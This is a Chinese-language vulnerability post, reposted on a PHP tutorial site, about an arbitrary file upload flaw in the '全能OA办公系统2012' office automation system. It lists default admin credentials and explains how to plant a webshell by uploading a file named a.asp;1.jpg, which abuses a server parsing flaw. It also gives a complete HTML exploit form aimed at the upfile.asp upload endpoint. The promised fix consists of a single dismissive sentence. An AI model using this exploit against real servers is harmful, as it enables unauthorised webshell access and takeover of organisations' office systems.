网站地图    收藏   

主页 > 后端 > 网站安全 >

全能OA办公系统上传缺陷及修复 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] 软件介绍:全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。主要功能:公司通告工作计划通讯助理客户资源我的公文公文传阅公共资源资源预约今日考...

软件介绍:
全能OA办公系统2012是功能非常强大的OA系统,目前功能已完全能满足日常办公需要。
 
主要功能:
公司通告
工作计划
通讯助理
客户资源
我的公文
公文传阅
公共资源
资源预约
今日考勤
个人计划
个人通讯录
个人基本档案
未读邮件
发邮件
收件夹
寄件夹
网络硬盘
网络会议
网络调查
交流论坛
 
管理用户名:admin 管理密码:admin
 
原码下载:http://www.mycodes.net/30/4750.htm
漏洞文件:

upfile.asp 典型的动网上传漏洞不做多说
利用:

明小子提交:http://www.2cto.com /upfile.asp即可
 
 
如果upfile.asp 不存在。你可以试试下面的方法。上传a.asp;1.jpg 格式
shell在http://www.2cto.com /upfile/savepath/a.asp;1.jpg
前提是有解析漏洞

EXP:
 <table border='0' align="center" cellpadding="5">
<form method="POST" action="http://www.2cto.com /oa/upfile/upfile.asp" enctype="multipart/form-data" id="form1" name="form1" onsubmit='return checkSub(this)'>
<tr>
            <td>报错:</td>
            <td><input type='radio' name='errnumber' value='0'>
              自动更名
              <input type='radio' name='errnumber' value='1' checked>
              报错方式
              <input type='radio' name='errnumber' value='2'>
              直接覆盖</td>
          </tr>
          <tr>
            <td>主题:</td>
            <td><input type='text' name='filename' size='30'></td>
          </tr>
          <tr>
            <td>文件:</td>
            <td><input type="file" name="fruit" size="30"></td>
          </tr>
          <tr>
            <td valign='top'>简介:</td>
            <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
          </tr>
 
            <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
          </tr>
        </form>
 
 
 
www.2cto.com提供修复:
动网上传漏洞没的说了,很老了。

by Mr.DzY from www.0855.tv
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论